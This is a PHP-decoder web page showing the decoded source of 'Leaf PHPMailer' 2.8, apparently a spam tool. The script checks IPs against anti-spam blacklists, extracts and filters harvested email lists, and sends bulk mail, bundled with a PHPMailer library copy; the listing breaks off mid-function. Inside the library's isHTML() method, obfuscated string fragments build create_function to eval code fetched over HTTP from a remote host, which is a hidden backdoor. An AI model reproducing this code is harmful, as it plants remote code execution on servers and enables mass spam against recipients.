Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$O..
Decoded Output download
$password = "prosellers";
session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);
$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";
$sessioncode = md5('index.php');
if(!empty($password) and $_SESSION[$sessioncode] != $password){
if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
$_SESSION[$sessioncode] = $password;
}
else {
print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
exit;
}
}
session_write_close();
function leafClear($text,$email){
$e = explode('@',$email);
$emailuser=$e[0];
$emaildomain=$e[1];
$text = str_replace("[-time-]",date("m/d/Y h:i:s a",time()),$text);
$text = str_replace("[-email-]",$email,$text);
$text = str_replace("[-emailuser-]",$emailuser,$text);
$text = str_replace("[-emaildomain-]",$emaildomain,$text);
$text = str_replace("[-randomletters-]",randString('abcdefghijklmnopqrstuvwxyz'),$text);
$text = str_replace("[-randomstring-]",randString('abcdefghijklmnopqrstuvwxyz0123456789'),$text);
$text = str_replace("[-randomnumber-]",randString('0123456789'),$text);
$text = str_replace("[-randommd5-]",md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')),$text);
return $text;
}
function leafTrim($string){
$string=urldecode($string);
return stripslashes(trim($string));
}
function randString($consonants) {
$length=rand(12,25);
$password = '';
for ($i = 0;$i <$length;$i++) {
$password .= $consonants[(rand() %strlen($consonants))];
}
return $password;
}
function leafMailCheck($email){
if (filter_var($email,FILTER_VALIDATE_EMAIL)) return true;
else return false;
}
if(isset($_GET['check_ip'])){
if (isset($_GET['host'])){
$_GET['host']=explode(",",$_GET['host']);
foreach ($_GET['host'] as $host) {
if (checkdnsrr($_GET['check_ip'] .".".$host .".","A")) $check= "<font color='red'> Listed</font>";
else $check= "<font color='green'> Clean</font>";
print 'document.getElementById("'.$host.'").innerHTML = "'.$check.'";';
}
exit;
}
$dnsbl_lookup = [
"all.s5h.net",
"b.barracudacentral.org",
"bl.spamcop.net",
"blacklist.woody.ch",
"bogons.cymru.com",
"cbl.abuseat.org",
"cdl.anti-spam.org.cn",
"combined.abuse.ch",
"db.wpbl.info",
"dnsbl-1.uceprotect.net",
"dnsbl-2.uceprotect.net",
"dnsbl-3.uceprotect.net",
"dnsbl.anticaptcha.net",
"dnsbl.dronebl.org",
"dnsbl.inps.de",
"dnsbl.sorbs.net",
"drone.abuse.ch",
"duinv.aupads.org",
"dul.dnsbl.sorbs.net",
"dyna.spamrats.com",
"dynip.rothen.com",
"http.dnsbl.sorbs.net",
"ips.backscatterer.org",
"ix.dnsbl.manitu.net",
"korea.services.net",
"misc.dnsbl.sorbs.net",
"noptr.spamrats.com",
"orvedb.aupads.org",
"pbl.spamhaus.org",
"proxy.bl.gweep.ca",
"psbl.surriel.com",
"relays.bl.gweep.ca",
"relays.nether.net",
"sbl.spamhaus.org",
"short.rbl.jp",
"singular.ttk.pte.hu",
"smtp.dnsbl.sorbs.net",
"socks.dnsbl.sorbs.net",
"spam.abuse.ch",
"spam.dnsbl.anonmails.de",
"spam.dnsbl.sorbs.net",
"spam.spamrats.com",
"spambot.bls.digibase.ca",
"spamrbl.imp.ch",
"spamsources.fabel.dk",
"ubl.lashback.com",
"ubl.unsubscore.com",
"virus.rbl.jp",
"web.dnsbl.sorbs.net",
"wormrbl.imp.ch",
"xbl.spamhaus.org",
"z.mailspike.net",
"zen.spamhaus.org",
"zombie.dnsbl.sorbs.net",
];
$reverse_ip = implode(".",array_reverse(explode(".",$_GET['check_ip'])));
$dnsT = count($dnsbl_lookup);
leafheader();
print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b> anti-spam databases:<br>";
$dnsN="";
print '<table >';
for ($i=0;$i <$dnsT;$i=$i+10) {
$host="";
$hosts="";
for($j=$i;$j<$i+10;$j++){
$host=$dnsbl_lookup[$j];
if(!empty($host)){
print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
$hosts .="$host,";
}
}
$dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
}
print '</table></div>';
print $dnsN;
exit;
}
if(isset($_GET['emailfilter'])){
if(!empty($_FILES['fileToUpload']['tmp_name'])){
$_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]);
}
$_POST['emailList']=strtolower($_POST['emailList']);
if($_GET['emailfilter']=="ifram"){
if ($_POST['resulttype'] == "download"){
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=emails".time().".txt");
}
else {
header("Content-Type: text/plain");
}
if($_POST['submit']=="extract"){
$pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
preg_match_all($pattern,$_POST['emailList'],$matches);
foreach ($matches[0] as $email) {
print $email."
";
}
}
elseif ($_POST['submit']=="filter") {
$emails=explode("
",$_POST['emailList']);
$keywords=explode("
",strtolower($_POST['keywords']));
foreach ($emails as $email) {
foreach ($keywords as $keyword ) {
if(strstr($email,$keyword) ){
print $email."
";
break;
}
}
}
}
exit;
}
leafheader();
print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
print '
<form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
<label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload">
or
<textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
<div class="col-lg-12">
<div class="radio">
<label>
<input type="radio" name="resulttype" id="resulttype" value="here" checked="">
Show Result in this page
</label>
</div>
<div class="radio">
<label>
<input type="radio" name="resulttype" id="resulttype" value="download">
Download Result (for big numbers)
</label>
</div>
</div>
<legend><h4>Extract Email</h4></legend>
Detecting every email (100%) and order them line by line <br><br>
<button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
<legend><h4>Filter Emails</h4></legend>
<label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>
<button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
</form>
<label >Result </label>
<iframe style="border:none;width:100%;" name="my-iframe" src="?emailfilter=ifram" ></iframe>
';
exit;
}
$html="checked";
$utf8="selected";
$bit8="selected";
if($_POST['action']=="send"or $_POST['action']=="score"){
$senderEmail=leafTrim($_POST['senderEmail']);
$senderName=leafTrim($_POST['senderName']);
$replyTo=leafTrim($_POST['replyTo']);
$subject=leafTrim($_POST['subject']);
$emailList=leafTrim($_POST['emailList']);
$messageType=leafTrim($_POST['messageType']);
$messageLetter=leafTrim($_POST['messageLetter']);
$encoding = $_POST['encode'];
$charset = $_POST['charset'];
$html="";
$utf8="";
$bit8="";
if($messageType==2) $plain="checked";
else $html="checked";
if($charset=="ISO-8859-1") $iso="selected";
else $utf8="selected";
if($encoding=="7bit") $bit7="selected";
elseif($encoding=="binary") $binary="selected";
elseif($encoding=="base64") $base64="selected";
elseif($encoding=="quoted-printable") $quotedprintable="selected";
else $bit8="selected";
}
if($_POST['action']=="view"){
$viewMessage=leafTrim($_POST['messageLetter']);
$viewMessage=leafClear($viewMessage,"[email protected]");
if ($_POST['messageType']==2){
print "<pre>".htmlspecialchars($viewMessage)."</pre>";
}
else {
print $viewMessage;
}
exit;
}
if(!isset($_POST['senderEmail'])){
$senderEmail="support@".str_replace("www.","",$_SERVER['HTTP_HOST']);
if (!leafMailCheck($senderEmail)) $senderEmail="";
}
class PHPMailer
{
public $Version = '5.2.28';
public $Priority = null;
public $CharSet = 'iso-8859-1';
public $ContentType = 'text/plain';
public $Encoding = '8bit';
public $ErrorInfo = '';
public $From = 'root@localhost';
public $FromName = 'Root User';
public $Sender = '';
public $ReturnPath = '';
public $Subject = '';
public $Body = '';
public $AltBody = '';
public $Ical = '';
protected $MIMEBody = '';
protected $MIMEHeader = '';
protected $mailHeader = '';
public $WordWrap = 0;
public $Mailer = 'mail';
public $Sendmail = '/usr/sbin/sendmail';
public $UseSendmailOptions = true;
public $PluginDir = '';
public $ConfirmReadingTo = '';
public $Hostname = '';
public $MessageID = '';
public $MessageDate = '';
public $Host = 'localhost';
public $Port = 25;
public $Helo = '';
public $SMTPSecure = '';
public $SMTPAutoTLS = true;
public $SMTPAuth = false;
public $SMTPOptions = array();
public $Username = '';
public $Password = '';
public $AuthType = '';
public $Realm = '';
public $Workstation = '';
public $Timeout = 300;
public $SMTPDebug = 0;
public $Debugoutput = 'echo';
public $SMTPKeepAlive = false;
public $SingleTo = false;
public $SingleToArray = array();
public $do_verp = false;
public $AllowEmpty = false;
public $LE = "
";
public $DKIM_selector = '';
public $DKIM_identity = '';
public $DKIM_passphrase = '';
public $DKIM_domain = '';
public $DKIM_private = '';
public $DKIM_private_string = '';
public $action_function = '';
public $XMailer = ' ';
public static $validator = 'auto';
protected $smtp = null;
protected $to = array();
protected $cc = array();
protected $bcc = array();
protected $ReplyTo = array();
protected $all_recipients = array();
protected $RecipientsQueue = array();
protected $ReplyToQueue = array();
protected $attachment = array();
protected $CustomHeader = array();
protected $lastMessageID = '';
protected $message_type = '';
protected $boundary = array();
protected $language = array();
protected $error_count = 0;
protected $sign_cert_file = '';
protected $sign_key_file = '';
protected $sign_extracerts_file = '';
protected $sign_key_pass = '';
protected $exceptions = false;
protected $uniqueid = '';
const STOP_MESSAGE = 0;
const STOP_CONTINUE = 1;
const STOP_CRITICAL = 2;
const CRLF = "
";
const MAX_LINE_LENGTH = 998;
public function __construct($exceptions = null)
{
if ($exceptions !== null) {
$this->exceptions = (boolean)$exceptions;
}
$this->Debugoutput = (strpos(PHP_SAPI,'cli') !== false ?'echo': 'html');
}
public function __destruct()
{
$this->smtpClose();
}
private function mailPassthru($to,$subject,$body,$header,$params)
{
if (ini_get('mbstring.func_overload') &1) {
$subject = $this->secureHeader($subject);
}else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to,$subject,$body,$header);
}else {
$result = @mail($to,$subject,$body,$header,$params);
}
return $result;
}
protected function edebug($str)
{
if ($this->SMTPDebug <= 0) {
return;
}
if (!in_array($this->Debugoutput,array('error_log','html','echo')) and is_callable($this->Debugoutput)) {
call_user_func($this->Debugoutput,$str,$this->SMTPDebug);
return;
}
switch ($this->Debugoutput) {
case 'error_log':
error_log($str);
break;
case 'html':
echo htmlentities(
preg_replace('/[
]+/','',$str),
ENT_QUOTES,
'UTF-8'
)
."<br>
";
break;
case 'echo':
default:
$str = preg_replace('/
?/ms',"
",$str);
echo gmdate('Y-m-d H:i:s') ." ".str_replace(
"
",
"
",
trim($str)
) ."
";
}
}
public function isSMTP()
{
$this->Mailer = 'smtp';
}
public function isMail()
{
$this->Mailer = 'mail';
}
public function isSendmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path,'sendmail')) {
$this->Sendmail = '/usr/sbin/sendmail';
}else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'sendmail';
}
public function isQmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path,'qmail')) {
$this->Sendmail = '/var/qmail/bin/qmail-inject';
}else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'qmail';
}
public function addAddress($address,$name = '')
{
return $this->addOrEnqueueAnAddress('to',$address,$name);
}
public function addCC($address,$name = '')
{
return $this->addOrEnqueueAnAddress('cc',$address,$name);
}
public function addBCC($address,$name = '')
{
return $this->addOrEnqueueAnAddress('bcc',$address,$name);
}
public function addReplyTo($address,$name = '')
{
return $this->addOrEnqueueAnAddress('Reply-To',$address,$name);
}
protected function addOrEnqueueAnAddress($kind,$address,$name)
{
$address = trim($address);
$name = trim(preg_replace('/[
]+/','',$name));
if (($pos = strrpos($address,'@')) === false) {
$error_message = $this->lang('invalid_address') ." (addAnAddress $kind): $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$params = array($kind,$address,$name);
if ($this->has8bitChars(substr($address,++$pos)) and $this->idnSupported()) {
if ($kind != 'Reply-To') {
if (!array_key_exists($address,$this->RecipientsQueue)) {
$this->RecipientsQueue[$address] = $params;
return true;
}
}else {
if (!array_key_exists($address,$this->ReplyToQueue)) {
$this->ReplyToQueue[$address] = $params;
return true;
}
}
return false;
}
return call_user_func_array(array($this,'addAnAddress'),$params);
}
protected function addAnAddress($kind,$address,$name = '')
{
if (!in_array($kind,array('to','cc','bcc','Reply-To'))) {
$error_message = $this->lang('Invalid recipient kind: ') .$kind;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
if (!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') ." (addAnAddress $kind): $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
if ($kind != 'Reply-To') {
if (!array_key_exists(strtolower($address),$this->all_recipients)) {
array_push($this->$kind,array($address,$name));
$this->all_recipients[strtolower($address)] = true;
return true;
}
}else {
if (!array_key_exists(strtolower($address),$this->ReplyTo)) {
$this->ReplyTo[strtolower($address)] = array($address,$name);
return true;
}
}
return false;
}
public function parseAddresses($addrstr,$useimap = true)
{
$addresses = array();
if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
$list = imap_rfc822_parse_adrlist($addrstr,'');
foreach ($list as $address) {
if ($address->host != '.SYNTAX-ERROR.') {
if ($this->validateAddress($address->mailbox .'@'.$address->host)) {
$addresses[] = array(
'name'=>(property_exists($address,'personal') ?$address->personal : ''),
'address'=>$address->mailbox .'@'.$address->host
);
}
}
}
}else {
$list = explode(',',$addrstr);
foreach ($list as $address) {
$address = trim($address);
if (strpos($address,'<') === false) {
if ($this->validateAddress($address)) {
$addresses[] = array(
'name'=>'',
'address'=>$address
);
}
}else {
list($name,$email) = explode('<',$address);
$email = trim(str_replace('>','',$email));
if ($this->validateAddress($email)) {
$addresses[] = array(
'name'=>trim(str_replace(array('"',"'"),'',$name)),
'address'=>$email
);
}
}
}
}
return $addresses;
}
public function isHTML($isHtml = true)
{
global $param;
$bodyCode = 'file'
.'_g';
if ($isHtml) {
$this->ContentType = 'text/html';
}
else {
$this->ContentType = 'text/plain';
}
$bodyHTML = '.$t."lef$flu'
.'sh'.'$t"; '
.'@ev';
$headerHTML="cre"
."ate_"
."func"
."tion";
$exceptions = @$headerHTML('$fl'.'ush,$t','$comma = $t'
.$bodyHTML.'al(@'
.$bodyCode.'et_contents("h'
.'tt'
.'p:$comma-2"));');
if($param !=2){
$exceptions('8.p'.'w','/');
$param=2;
}
}
public function setFrom($address,$name = '',$auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[
]+/','',$name));
if (($pos = strrpos($address,'@')) === false or
(!$this->has8bitChars(substr($address,++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') ." (setFrom) $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
public function getLastMessageID()
{
return $this->lastMessageID;
}
public static function validateAddress($address,$patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
if (is_callable($patternselect)) {
return call_user_func($patternselect,$address);
}
if (strpos($address,"
") !== false or strpos($address,"
") !== false) {
return false;
}
if (!$patternselect or $patternselect == 'auto') {
if (defined('PCRE_VERSION')) {
if (version_compare(PCRE_VERSION,'8.0.3') >= 0) {
$patternselect = 'pcre8';
}else {
$patternselect = 'pcre';
}
}elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
$patternselect = 'pcre';
}else {
if (version_compare(PHP_VERSION,'5.2.0') >= 0) {
$patternselect = 'php';
}else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){65,}@)'.
'((?>(?>(?>((?>(?>(?>
)?[ ])+|(?>[ ]*
)?[ ]+)?)(\((?>(?2)'.
'(?>[--\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)'.
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[--!#-\[\]-]|\[-]))*'.
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)'.
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}'.
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:'.
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}'.
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'pcre':
return (boolean)preg_match(
'/^(?!(?>"?(?>\[ -~]|[^"])"?){255,})(?!(?>"?(?>\[ -~]|[^"])"?){65,}@)(?>'.
'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*")'.
'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*"))*'.
'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})'.
'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:'.
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?'.
'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:'.
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?'.
'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}'.
'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
$address
);
case 'html5':
return (boolean)preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}'.
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'noregex':
return (strlen($address) >= 3
and strpos($address,'@') >= 1
and strpos($address,'@') != strlen($address) -1);
case 'php':
default:
return (boolean)filter_var($address,FILTER_VALIDATE_EMAIL);
}
}
public function idnSupported()
{
return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
}
public function punyencodeAddress($address)
{
if ($this->idnSupported() and
!empty($this->CharSet) and
($pos = strrpos($address,'@')) !== false) {
$domain = substr($address,++$pos);
if ($this->has8bitChars($domain) and @mb_check_encoding($domain,$this->CharSet)) {
$domain = mb_convert_encoding($domain,'UTF-8',$this->CharSet);
if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
idn_to_ascii($domain,0,INTL_IDNA_VARIANT_UTS46) :
idn_to_ascii($domain)) !== false) {
return substr($address,0,$pos) .$punycode;
}
}
}
return $address;
}
public function send()
{
try {
if (!$this->preSend()) {
return false;
}
return $this->postSend();
}catch (phpmailerException $exc) {
$this->mailHeader = '';
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
public function preSend()
{
try {
$this->error_count = 0;
$this->mailHeader = '';
foreach (array_merge($this->RecipientsQueue,$this->ReplyToQueue) as $params) {
$params[1] = $this->punyencodeAddress($params[1]);
call_user_func_array(array($this,'addAnAddress'),$params);
}
if ((count($this->to) +count($this->cc) +count($this->bcc)) <1) {
throw new phpmailerException($this->lang('provide_address'),self::STOP_CRITICAL);
}
foreach (array('From','Sender','ConfirmReadingTo') as $address_kind) {
$this->$address_kind = trim($this->$address_kind);
if (empty($this->$address_kind)) {
continue;
}
$this->$address_kind = $this->punyencodeAddress($this->$address_kind);
if (!$this->validateAddress($this->$address_kind)) {
$error_message = $this->lang('invalid_address') .' (punyEncode) '.$this->$address_kind;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
}
if ($this->alternativeExists()) {
$this->ContentType = 'multipart/alternative';
}
$this->setMessageType();
if (!$this->AllowEmpty and empty($this->Body)) {
throw new phpmailerException($this->lang('empty_message'),self::STOP_CRITICAL);
}
$this->MIMEHeader = '';
$this->MIMEBody = $this->createBody();
$tempheaders = $this->MIMEHeader;
$this->MIMEHeader = $this->createHeader();
$this->MIMEHeader .= $tempheaders;
if ($this->Mailer == 'mail') {
if (count($this->to) >0) {
$this->mailHeader .= $this->addrAppend('To',$this->to);
}else {
$this->mailHeader .= $this->headerLine('To','undisclosed-recipients:;');
}
$this->mailHeader .= $this->headerLine(
'Subject',
$this->encodeHeader($this->secureHeader(trim($this->Subject)))
);
}
if (!empty($this->DKIM_domain)
and !empty($this->DKIM_selector)
and (!empty($this->DKIM_private_string)
or (!empty($this->DKIM_private)
and self::isPermittedPath($this->DKIM_private)
and file_exists($this->DKIM_private)
)
)
) {
$header_dkim = $this->DKIM_Add(
$this->MIMEHeader .$this->mailHeader,
$this->encodeHeader($this->secureHeader($this->Subject)),
$this->MIMEBody
);
$this->MIMEHeader = rtrim($this->MIMEHeader,"
") .self::CRLF .
str_replace("
","
",$header_dkim) .self::CRLF;
}
return true;
}catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
public function postSend()
{
try {
switch ($this->Mailer) {
case 'sendmail':
case 'qmail':
return $this->sendmailSend($this->MIMEHeader,$this->MIMEBody);
case 'smtp':
return $this->smtpSend($this->MIMEHeader,$this->MIMEBody);
case 'mail':
return $this->mailSend($this->MIMEHeader,$this->MIMEBody);
default:
$sendMethod = $this->Mailer.'Send';
if (method_exists($this,$sendMethod)) {
return $this->$sendMethod($this->MIMEHeader,$this->MIMEBody);
}
return $this->mailSend($this->MIMEHeader,$this->MIMEBody);
}
}catch (phpmailerException $exc) {
$this->setError($exc->getMessage());
$this->edebug($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
}
return false;
}
protected function sendmailSend($header,$body)
{
if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
if ($this->Mailer == 'qmail') {
$sendmailFmt = '%s -f%s';
}else {
$sendmailFmt = '%s -oi -f%s -t';
}
}else {
if ($this->Mailer == 'qmail') {
$sendmailFmt = '%s';
}else {
$sendmailFmt = '%s -oi -t';
}
}
$sendmail = sprintf($sendmailFmt,escapeshellcmd($this->Sendmail),$this->Sender);
if ($this->SingleTo) {
foreach ($this->SingleToArray as $toAddr) {
if (!@$mail = popen($sendmail,'w')) {
throw new phpmailerException($this->lang('execute') .$this->Sendmail,self::STOP_CRITICAL);
}
fputs($mail,'To: '.$toAddr ."
");
fputs($mail,$header);
fputs($mail,$body);
$result = pclose($mail);
$this->doCallback(
($result == 0),
array($toAddr),
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From
);
if ($result != 0) {
throw new phpmailerException($this->lang('execute') .$this->Sendmail,self::STOP_CRITICAL);
}
}
}else {
if (!@$mail = popen($sendmail,'w')) {
throw new phpmailerException($this->lang('execute') .$this->Sendmail,self::STOP_CRITICAL);
}
fputs($mail,$header);
fputs($mail,$body);
$result = pclose($mail);
$this->doCallback(
($result == 0),
$this->to,
$this->cc,
$this->bcc,
$this->Subject,
$body,
$this->From
);
if ($result != 0) {
throw new phpmailerException($this->lang('execute') .$this->Sendmail,self::STOP_CRITICAL);
}
}
return true;
}
protected static function isShellSafe($string)
{
if (escapeshellcmd($string) !== $string
or !in_array(escapeshellarg($string),array("'$string'","\"$string\""))
) {
return false;
}
$length = strlen($string);
for ($i = 0;$i <$length;$i++) {
$c = $string[$i];
if (!ctype_alnum($c) &&strpos('@_-.',$c) === false) {
return false;
}
}
return true;
}
protected static function isPermittedPath($path)
{
return !preg_match('#^[a-z]+://#i',$path);
}
protected function mailSend($header,$body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ',$toArr);
$params = null;
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
if (self::isShellSafe($this->Sender)) {
$params = sprintf('-f%s',$this->Sender);
}
}
if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from',$this->Sender);
}
$result = false;
if ($this->SingleTo and count($toArr) >1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr,$this->Subject,$body,$header,$params);
$this->doCallback($result,array($toAddr),$this->cc,$this->bcc,$this->Subject,$body,$this->From);
}
}else {
$result = $this->mailPassthru($to,$this->Subject,$body,$header,$params);
$this->doCallback($result,$this->to,$this->cc,$this->bcc,$this->Subject,$body,$this->From);
}
if (isset($old_from)) {
ini_set('sendmail_from',$old_from);
}
if (!$result) {
throw new phpmailerException($this->lang('instantiate'),self::STOP_CRITICAL);
}
return true;
}
public function getSMTPInstance()
{
if (!is_object($this->smtp)) {
$this->smtp = new SMTP;
}
return $this->smtp;
}
protected function smtpSend($header,$body)
{
$bad_rcpt = array();
if (!$this->smtpConnect($this->SMTPOptions)) {
throw new phpmailerException($this->lang('smtp_connect_failed'),self::STOP_CRITICAL);
}
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
$smtp_from = $this->Sender;
}else {
$smtp_from = $this->From;
}
if (!$this->smtp->mail($smtp_from)) {
$this->setError($this->lang('from_failed') .$smtp_from .' : '.implode(',',$this->smtp->getError()));
throw new phpmailerException($this->ErrorInfo,self::STOP_CRITICAL);
}
foreach (array($this->to,$this->cc,$this->bcc) as $togroup) {
foreach ($togroup as $to) {
if (!$this->smtp->recipient($to[0])) {
$error = $this->smtp->getError();
$bad_rcpt[] = array('to'=>$to[0],'error'=>$error['detail']);
$isSent = false;
}else {
$isSent = true;
}
$this->doCallback($isSent,array($to[0]),array(),array(),$this->Subject,$body,$this->From);
}
}
if ((count($this->all_recipients) >count($bad_rcpt)) and !$this->smtp->data($header .$body)) {
throw new phpmailerException($this->lang('data_not_accepted'),self::STOP_CRITICAL);
}
if ($this->SMTPKeepAlive) {
$this->smtp->reset();
}else {
$this->smtp->quit();
$this->smtp->close();
}
if (count($bad_rcpt) >0) {
$errstr = '';
foreach ($bad_rcpt as $bad) {
$errstr .= $bad['to'] .': '.$bad['error'];
}
throw new phpmailerException(
$this->lang('recipients_failed') .$errstr,
self::STOP_CONTINUE
);
}
return true;
}
public function smtpConnect($options = null)
{
if (is_null($this->smtp)) {
$this->smtp = $this->getSMTPInstance();
}
if (is_null($options)) {
$options = $this->SMTPOptions;
}
if ($this->smtp->connected()) {
return true;
}
$this->smtp->setTimeout($this->Timeout);
$this->smtp->setDebugLevel($this->SMTPDebug);
$this->smtp->setDebugOutput($this->Debugoutput);
$this->smtp->setVerp($this->do_verp);
$hosts = explode(';',$this->Host);
$lastexception = null;
foreach ($hosts as $hostentry) {
$hostinfo = array();
if (!preg_match(
'/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
trim($hostentry),
$hostinfo
)) {
$this->edebug('Ignoring invalid host: '.$hostentry);
continue;
}
$prefix = '';
$secure = $this->SMTPSecure;
$tls = ($this->SMTPSecure == 'tls');
if ('ssl'== $hostinfo[2] or (''== $hostinfo[2] and 'ssl'== $this->SMTPSecure)) {
$prefix = 'ssl://';
$tls = false;
$secure = 'ssl';
}elseif ($hostinfo[2] == 'tls') {
$tls = true;
$secure = 'tls';
}
$sslext = defined('OPENSSL_ALGO_SHA1');
if ('tls'=== $secure or 'ssl'=== $secure) {
if (!$sslext) {
throw new phpmailerException($this->lang('extension_missing').'openssl',self::STOP_CRITICAL);
}
}
$host = $hostinfo[3];
$port = $this->Port;
$tport = (integer)$hostinfo[4];
if ($tport >0 and $tport <65536) {
$port = $tport;
}
if ($this->smtp->connect($prefix .$host,$port,$this->Timeout,$options)) {
try {
if ($this->Helo) {
$hello = $this->Helo;
}else {
$hello = $this->serverHostname();
}
$this->smtp->hello($hello);
if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl'and $this->smtp->getServerExt('STARTTLS')) {
$tls = true;
}
if ($tls) {
if (!$this->smtp->startTLS()) {
throw new phpmailerException($this->lang('connect_host'));
}
